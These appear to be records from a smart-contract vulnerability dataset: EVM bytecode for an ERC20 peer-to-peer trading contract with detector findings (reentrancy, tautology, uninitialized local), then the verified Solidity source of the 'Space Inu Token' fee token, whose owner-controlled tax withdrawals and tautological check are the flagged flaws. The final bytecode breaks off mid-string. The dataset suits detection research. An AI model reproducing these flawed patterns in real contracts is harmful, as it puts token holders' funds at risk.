5b6008820154336000908152600d8401602052604090205461054b908590612c3c565b1115801561055d575060008260080154115b6105795760405162461bcd60e51b815260040161043c90612708565b600060646002548561058b9190612c74565b6105959190612c54565b600254909150156105c15760048301546003546105c1916001600160a01b039081169133911684611686565b600b830154156106665760006105d78286612c93565b905060005b600b85015481101561065f576004850154600b8601805461064d926001600160a01b03169133918590811061062157634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600b8901546001600160a01b03909116906106489087612c54565b611686565b8061065781612caa565b9150506105dc565b5050610686565b60048301548354610686916001600160a01b039081169133911687611686565b6106908585611776565b50506001600755505050565b6007546001146106be5760405162461bcd60e51b815260040161043c90612a16565b600060075560045481118015906106d55750600081115b6106f15760405162461bcd60e51b815260040161043c906127d3565b600081815260056020526040902080546001600160a01b031633146107285760405162461bcd60e51b815260040161043c9061279c565b600c81015415801561073d5750428160090154115b6107595760405162461bcd60e51b815260040161043c9061257a565b6002600c82015560018101547f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7836001600160a01b039081169116146107bc57600181015460038201546107b7916001600160a01b03169033906119b8565b61084c565b6003810154604051632e1a7d4d60e01b81526001600160a01b037f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7831691632e1a7d4d9161080c9190600401612c0f565b600060405180830381600087803b15801561082657600080fd5b505af115801561083a573d6000803e3d6000fd5b5050505061084c338260030154611aa5565b7f05ac7e1c58fc54262c69c3a2c72544f2096da453355434a6ca0aa28d3a9efa528260405161087b9190612c0f565b60405180910390a150506001600755565b6003546001600160a01b031681565b600560208190526000918252604090912080546001820154600283015460038401546004850154958501546006860154600787015460088801546009890154600a8a0154600c909a01546001600160a01b03998a169b988a169a9799969896871697600160a01b90970460ff1696908d565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161043c906125bd565b6001600160a01b03831661095d5760405162461bcd60e51b815260040161043c90612816565b6000811161097d5760405162461bcd60e51b815260040161043c90612629565b6109888284836119b8565b826001600160a01b0316826001600160a01b03167faabf44ab9d5bef08d1b60f287a337f0d11a248e49741ad189b429e47e98ba910836040516109cb9190612c0f565b60405180910390a3505050565b600080546001600160a01b03163314610a035760405162461bcd60e51b815260040161043c906125bd565b610a0c88611680565b610a285760405162461bcd60e51b815260040161043c906126d1565b7f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7836001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b158015610a8357600080fd5b505af1158015610a97573d6000803e3d6000fd5b5050505050610acd7f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a783348a8a8a8a8a8a8a611b37565b98975050505050505050565b60008281526005602052604081206006810154600390910154610afd908490612c74565b610b079190612c54565b9392505050565b7f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a78381565b6000546001600160a01b03163314610b5c5760405162461bcd60e51b815260040161043c906125bd565b600754600114610b7e5760405162461bcd60e51b815260040161043c90612a16565b60006007556004548611801590610b955750600086115b610bb15760405162461bcd60e51b815260040161043c906127d3565b6000868152600560205260409020600c810154158015610bd45750428160090154115b610bf05760405162461bcd60e51b815260040161043c9061257a565b8060070154861015610c145760405162461bcd60e51b815260040161043c90612674565b6000610c208888610ad9565b9050600087118015610c36575060008260030154115b8015610c46575080826003015410155b610c625760405162461bcd60e51b815260040161043c906125f2565b6008820154336000908152600d84016020526040902054610c84908990612c3c565b11158015610c96575060008260080154115b610cb25760405162461bcd60e51b815260040161043c90612708565b60048083015460405163d505accf60e01b81526001600160a01b039091169163d505accf91610cef91339130918d918d918d918d918d9101612381565b600060405180830381600087803b158015610d0957600080fd5b505af1158015610d1d573d6000803e3d6000fd5b505050506000606460025489610d339190612c74565b610d3d9190612c54565b60025490915015610d69576004830154600354610d69916001600160a01b039081169133911684611686565b600b83015415610de2576000610d7f828a612c93565b905060005b600b850154811015610ddb576004850154600b86018054610dc9926001600160a01b03169133918590811061062157634e487b7160e01b600052603260045260246000fd5b80610dd381612caa565b915050610d84565b5050610e02565b60048301548354610e02916001600160a01b03908116913391168b611686565b610e0c8989611776565b5050600160075550505050505050565b60008160045410158015610e305750600082115b610e4c5760405162461bcd60e51b815260040161043c906127d3565b6000828152600560205260409020600c81015460011415610e71576001915050610ed5565b80600c015460021480610e88575080600c01546003145b15610eb95780600c01546004811115610eb157634e487b7160e01b600052602160045260246000fd5b915050610ed5565b4281600901541015610ecf576004915050610ed5565b60009150505b919050565b60009081526005602090815260408083206001600160a01b03949094168352600d9093019052205490565b60025481565b600080546001600160a01b03163314610f365760405162461bcd60e51b815260040161043c906125bd565b610f3f8a611680565b8015610f4f5750610f4f88611680565b610f6b5760405162461bcd60e51b815260040161043c906128c8565b610f778a33308c611686565b610f888a8a8a8a8a8a8a8a8a611b37565b9a9950505050505050505050565b6001600160a01b038116600090815260066020908152604091829020805483518184028101840190945280845260609392830182828015610ff657602002820191906000526020600020905b815481526020019060010190808311610fe2575b50505050509050919050565b6007546001146110245760405162461bcd60e51b815260040161043c90612a16565b6000600755600454821180159061103b5750600082115b6110575760405162461bcd60e51b815260040161043c906127d3565b6000828152600560205260409020600c81015415801561107a5750428160090154115b6110965760405162461bcd60e51b815260040161043c9061257a565b813410156110b65760405162461bcd60e51b815260040161043c90612bc9565b60048101547f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7836001600160a01b039081169116146111065760405162461bcd60e51b815260040161043c90612765565b806007015482101561112a5760405162461bcd60e51b815260040161043c90612674565b60006111368484610ad9565b905060008311801561114c575060008260030154115b801561115c575080826003015410155b6111785760405162461bcd60e51b815260040161043c906125f2565b6008820154336000908152600d8401602052604090205461119a908590612c3c565b111580156111ac575060008260080154115b6111c85760405162461bcd60e51b815260040161043c90612708565b60006064600254856111da9190612c74565b6111e49190612c54565b6002549091501561120557600354611205906001600160a01b031682611aa5565b600b8301541561129757600061121b8286612c93565b905060005b600b8501548110156112905761127e85600b01828154811061125257634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600b8701546001600160a01b03909116906112799085612c54565b611aa5565b8061128881612caa565b915050611220565b50506112ac565b82546112ac906001600160a01b031685611aa5565b8334111561068657610686336112798634612c93565b6000546001600160a01b031633146112ec5760405162461bcd60e51b815260040161043c906125bd565b6001600160a01b0382166113125760405162461bcd60e51b815260040161043c90612816565b600081116113325760405162461bcd60e51b815260040161043c90612629565b61133c8282611aa5565b816001600160a01b03167f542fa6bfee3b4746210fbdd1d83f9e49b65adde3639f8d8f165dd18347938af2826040516113759190612c0f565b60405180910390a25050565b6000546001600160a01b031681565b60045481565b6007546001146113b85760405162461bcd60e51b815260040161043c90612a16565b600060075560045481118015906113cf5750600081115b6113eb5760405162461bcd60e51b815260040161043c906127d3565b600081815260056020526040902080546001600160a01b031633146114225760405162461bcd60e51b815260040161043c9061279c565b600c8101541580156114375750428160090154105b6114535760405162461bcd60e51b815260040161043c906129c7565b60018101547f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7836001600160a01b039081169116146114af57600181015460038201546114aa916001600160a01b03169033906119b8565b61153f565b6003810154604051632e1a7d4d60e01b81526001600160a01b037f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7831691632e1a7d4d916114ff9190600401612c0f565b600060405180830381600087803b15801561151957600080fd5b505af115801561152d573d6000803e3d6000fd5b5050505061153f338260030154611aa5565b6003600c8201556040517fac8c183c8f19ee1433ea88394639c324cbf1015790a4166b347a4c45066760489061087b908490612c0f565b6001546001600160a01b031681565b600080546001600160a01b031633146115b05760405162461bcd60e51b815260040161043c906125bd565b6115b98d611680565b80156115c957506115c98b611680565b6115e55760405162461bcd60e51b815260040161043c906128c8565b8c6001600160a01b031663d505accf33308f898989896040518863ffffffff1660e01b815260040161161d9796959493929190612381565b600060405180830381600087803b15801561163757600080fd5b505af115801561164b573d6000803e3d6000fd5b5050505061165b8d33308f611686565b606061166e8e8e8e8e8e8e8e888f611b37565b9e9d5050505050505050505050505050565b3b151590565b600080856001600160a01b03166323b872dd8686866040516024016116ad939291906122e9565b6040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040516116e6919061229c565b6000604051808303816000865af19150503d8060008114611723576040519150601f19603f3d011682016040523d82523d6000602084013e611728565b606091505b509150915081801561175257508051158061175257508080602001905181019061175291906121f7565b61176e5760405162461bcd60e51b815260040161043c90612ad5565b505050505050565b60008281526005602052604081209061178f8484610ad9565b60018301549091507f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7836001600160a01b03908116911614611867576004820154600160a01b900460ff161561184957600182015460405163f7c4337160e01b81526001600160a01b039091169063f7c433719061181290339085906004016123c2565b600060405180830381600087803b15801561182c57600080fd5b505af1158015611840573d6000803e3d6000fd5b50505050611862565b6001820154611862906001600160a01b031633836119b8565b6118ef565b604051632e1a7d4d60e01b81526001600160a01b037f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a7831690632e1a7d4d906118b3908490600401612c0f565b600060405180830381600087803b1580156118cd57600080fd5b505af11580156118e1573d6000803e3d6000fd5b505050506118ef3382611aa5565b8282600a0160008282546119039190612c3c565b925050819055508082600301600082825461191e9190612c93565b92505081905550828260060160008282546119399190612c93565b9091555050336000908152600d830160205260408120805485929061195f908490612c3c565b90915550506003820154611975576001600c8301555b7fa668076574a90f9a27f9b727bff4c099ec6fd7f5db9e6afffda121798929db62843385846040516119aa9493929190612c18565b60405180910390a150505050565b600080846001600160a01b031663a9059cbb85856040516024016119dd9291906123c2565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051611a16919061229c565b6000604051808303816000865af19150503d8060008114611a53576040519150601f19603f3d011682016040523d82523d6000602084013e611a58565b606091505b5091509150818015611a82575080511580611a82575080806020019051810190611a8291906121f7565b611a9e5760405162461bcd60e51b815260040161043c906124e6565b5050505050565b604080516000808252602082019092526001600160a01b038416908390604051611acf919061229c565b60006040518083038185875af1925050503d8060008114611b0c576040519150601f19603f3d011682016040523d82523d6000602084013e611b11565b606091505b5050905080611b325760405162461bcd60e51b815260040161043c90612a4d565b505050565b6000896001600160a01b0316886001600160a01b03161415611b6b5760405162461bcd60e51b815260040161043c9061251d565b60008911611b8b5760405162461bcd60e51b815260040161043c90612980565b60008611611bab5760405162461bcd60e51b815260040161043c90612b19565b848611611bca5760405162461bcd60e51b815260040161043c9061285e565b428211611be95760405162461bcd60e51b815260040161043c90612a90565b85891015611c095760405162461bcd60e51b815260040161043c906128fd565b861580611c975750868015611c9757506040516305407a8760e21b81526001600160a01b038b1690631501ea1c90611c459030906004016122d5565b602060405180830381600087803b158015611c5f57600080fd5b505af1158015611c73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c9791906121f7565b611cb35760405162461bcd60e51b815260040161043c90612b5d565b600460008154611cc290612caa565b91905081905590506000600560008381526020019081526020016000209050338160000160006101000a8154816001600160a01b0302191690836001600160a01b031602179055508a8160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550898160020181905550898160030181905550888160040160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550878160040160146101000a81548160ff021916908315150217905550868160050181905550868160060181905550828160090181905550858160070181905550848160080181905550600081600a01819055508381600b019080519060200190611dd9929190611e55565b5033600090815260066020908152604080832080546001810182559084529190922001839055517f6ab796a56f7520512e4861b18b48122669dc5e6072491320b82d1e088b2294d890611e3f908d908d908d908d908d908a908e908e908e908d906123db565b60405180910390a1509998505050505050505050565b828054828255906000526020600020908101928215611eaa579160200282015b82811115611eaa57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611e75565b50611eb6929150611eba565b5090565b5b80821115611eb65760008155600101611ebb565b8035610ed581612cf1565b600082601f830112611eea578081fd5b8135602067ffffffffffffffff80831115611f0757611f07612cdb565b81830260405183828201018181108482111715611f2657611f26612cdb565b60405284815283810192508684018288018501891015611f44578687fd5b8692505b85831015611f6d57611f5981611ecf565b845292840192600192909201918401611f48565b50979650505050505050565b803560ff81168114610ed557600080fd5b600060208284031215611f9b578081fd5b8135610b0781612cf1565b60008060408385031215611fb8578081fd5b8235611fc381612cf1565b946020939093013593505050565b600080600060608486031215611fe5578081fd5b8335611ff081612cf1565b9250602084013561200081612cf1565b929592945050506040919091013590565b600080600080600080600060e0888a03121561202b578283fd5b873561203681612cf1565b9650602088013561204681612d09565b955060408801359450606088013593506080880135925060a088013567ffffffffffffffff811115612076578283fd5b6120828a828b01611eda565b92505060c0880135905092959891949750929550565b60008060408385031215611fb8578182fd5b60008060008060008060008060006101208a8c0312156120c8578182fd5b89356120d381612cf1565b985060208a0135975060408a01356120ea81612cf1565b965060608a01356120fa81612d09565b955060808a0135945060a08a0135935060c08a0135925060e08a013567ffffffffffffffff81111561212a578283fd5b6121368c828d01611eda565b9250506101008a013590509295985092959850929598565b6000806000806000806000806000806000806101808d8f031215612170578283fd5b8c3561217b81612cf1565b9b5060208d01359a5060408d013561219281612cf1565b995060608d01356121a281612d09565b985060808d0135975060a08d0135965060c08d0135955060e08d013594506101008d013593506121d56101208e01611f79565b92506101408d013591506101608d013590509295989b509295989b509295989b565b600060208284031215612208578081fd5b8151610b0781612d09565b600060208284031215612224578081fd5b5035919050565b6000806040838503121561223d578182fd5b50508035926020909101359150565b60008060008060008060c08789031215612264578384fd5b86359550602087013594506040870135935061228260608801611f79565b92506080870135915060a087013590509295509295509295565b60008251815b818110156122bc57602081860181015185830152016122a2565b818111156122ca5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039d8e1681529b8d1660208d015260408c019a909a5260608b019890985295909916608089015292151560a088015260c087019190915260e08601526101008501526101208401949094526101408301939093526101608201929092526101808101919091526101a00190565b6001600160a01b0397881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b038b8116825260208083018c90528a8216604084015289151560608401526080830189905260a0830188905260c0830187905260e083018690526101406101008401819052855190840181905260009261016085019287810192855b8181101561245c57845184168652948201949382019360010161243e565b505050505061012092909201929092529a9950505050505050505050565b6020808252825182820181905260009190848201906040850190845b818110156124b257835183529284019291840191600101612496565b50909695505050505050565b60208101600583106124e057634e487b7160e01b600052602160045260246000fd5b91905290565b6020808252601f908201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604082015260600190565b6020808252603f908201527f41524b34323045524332305032505f56313a2061736b6564206173736574206360408201527f616e277420626520657175616c20746f2070726f706f73656420617373657400606082015260800190565b60208082526023908201527f41524b34323045524332305032505f56313a206e6f742061637469766520747260408201526261646560e81b606082015260800190565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601f908201527f41524b34323045524332305032505f56313a2077726f6e6720616d6f756e7400604082015260600190565b6020808252602b908201527f41524b34323045524332305032505f56313a2053686f756c642062652067726560408201526a061746572207468616e20360ac1b606082015260800190565b60208082526038908201527f41524b34323045524332305032505f56313a20707572636861736520616d6f7560408201527f6e74206c6f776572207468656e206d696e20616d6f756e740000000000000000606082015260800190565b6020808252601f908201527f41524b34323045524332305032505f56313a204e6f7420636f6e747261637400604082015260600190565b6020808252603e908201527f41524b34323045524332305032505f56313a2072656163686564206d6178207460408201527f6f74616c20707572636861736520616d6f756e7420666f722074726164650000606082015260800190565b6020808252601e908201527f41524b34323045524332305032505f56313a2045524332302074726164650000604082015260600190565b6020808252601e908201527f41524b34323045524332305032505f56313a206e6f7420616c6c6f7765640000604082015260600190565b60208082526023908201527f41524b34323045524332305032505f56313a20696e76616c6964207472616465604082015262081a5960ea1b606082015260800190565b60208082526028908201527f41524b34323045524332305032505f56313a2043616e2774206265207a65726f604082015267206164647265737360c01b606082015260800190565b60208082526044908201527f41524b34323045524332305032505f56313a2061736b656420616d6f756e742060408201527f73686f756c64206265206d6f7265207468656e206d696e20747261646520616d6060820152631bdd5b9d60e21b608082015260a00190565b6020808252818101527f41524b34323045524332305032505f56313a204e6f7420636f6e747261637473604082015260600190565b6020808252605f908201527f41524b34323045524332305032505f56313a2070726f706f73656420616d6f7560408201527f6e742073686f756c64206265206d6f7265206f7220657175616c2061736b656460608201527f20616d6f756e7420746f2063616c63756c6174652076616c6964207261746500608082015260a00190565b60208082526027908201527f41524b34323045524332305032505f56313a207a65726f2070726f706f73656460408201526608185b5bdd5b9d60ca1b606082015260800190565b6020808252602f908201527f41524b34323045524332305032505f56313a206e6f7420617661696c61626c6560408201526e08199bdc881dda5d1a191c985dd85b608a1b606082015260800190565b60208082526019908201527f41524b34323045524332305032505f56313a206c6f636b656400000000000000604082015260600190565b60208082526023908201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960408201526213115160ea1b606082015260800190565b60208082526025908201527f41524b34323045524332305032505f56313a20696e636f727265637420646561604082015264646c696e6560d81b606082015260800190565b60208082526024908201527f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f46416040820152631253115160e21b606082015260800190565b60208082526024908201527f41524b34323045524332305032505f56313a207a65726f2061736b656420616d6040820152631bdd5b9d60e21b606082015260800190565b60208082526046908201527f41524b34323045524332305032505f56313a207468697320636f6e747261637460408201527f206e6f7420616c6c6f77656420746f2076657374206f6e2070726f706f73656460608201526508185cdcd95d60d21b608082015260a00190565b60208082526026908201527f41524b34323045524332305032505f56313a204e6f7420656e6f75676820455460408201526512081cd95b9d60d21b606082015260800190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b60008219821115612c4f57612c4f612cc5565b500190565b600082612c6f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612c8e57612c8e612cc5565b500290565b600082821015612ca557612ca5612cc5565b500390565b6000600019821415612cbe57612cbe612cc5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612d0657600080fd5b50565b8015158114612d0657600080fdfea2646970667358221220e441209a371750b29f163b4c2772cf04400ec2d6dc0364563f893608e18393ee64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,487 |
0x19020C7C00AaE54Bea21E2f79e0c9eC956fb9a18
|
/**
*Submitted for verification at Etherscan.io on 2021-11-03
*/
// SPDX-License-Identifier: MIT
// telegram: t.me/spaceinutoken
pragma solidity ^0.8.4;
uint256 constant TOTAL_SUPPLY = 1000000000;
string constant TOKEN_NAME = "Space Inu Token";
string constant TOKEN_SYMBOL = "SPACEINU";
uint256 constant INITIAL_TAX=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElsaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _rateLimit=TOTAL_SUPPLY;
uint256 private _tax=INITIAL_TAX;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_taxWallet= payable(_msgSender());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function tax() public view returns (uint256){
return _tax;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
_swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
_sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102df578063c9567bf91461031c578063dd62ed3e14610333578063f429389014610370576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b411461028957806399c8d556146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610387565b60405161011a9190612180565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611d70565b6103c4565b6040516101579190612165565b60405180910390f35b34801561016c57600080fd5b506101756103e2565b60405161018291906122e2565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611d1d565b6103ec565b6040516101bf9190612165565b60405180910390f35b3480156101d457600080fd5b506101dd6104c5565b6040516101ea9190612357565b60405180910390f35b3480156101ff57600080fd5b506102086104ca565b005b34801561021657600080fd5b50610231600480360381019061022c9190611c83565b610544565b60405161023e91906122e2565b60405180910390f35b34801561025357600080fd5b5061025c610595565b005b34801561026a57600080fd5b506102736106e8565b6040516102809190612097565b60405180910390f35b34801561029557600080fd5b5061029e610711565b6040516102ab9190612180565b60405180910390f35b3480156102c057600080fd5b506102c961074e565b6040516102d691906122e2565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190611d70565b610758565b6040516103139190612165565b60405180910390f35b34801561032857600080fd5b50610331610776565b005b34801561033f57600080fd5b5061035a60048036038101906103559190611cdd565b610c8a565b60405161036791906122e2565b60405180910390f35b34801561037c57600080fd5b50610385610d11565b005b60606040518060400160405280600f81526020017f537061636520496e7520546f6b656e0000000000000000000000000000000000815250905090565b60006103d86103d1610d83565b8484610d8b565b6001905092915050565b6000600354905090565b60006103f9848484610f56565b6104ba84610405610d83565b6104b58560405180606001604052806028815260200161293260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046b610d83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b89092919063ffffffff16565b610d8b565b600190509392505050565b600090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661050b610d83565b73ffffffffffffffffffffffffffffffffffffffff161461052b57600080fd5b600061053630610544565b90506105418161121c565b50565b600061058e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a4565b9050919050565b61059d610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062190612262565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffffffffffffffffffffffffffffff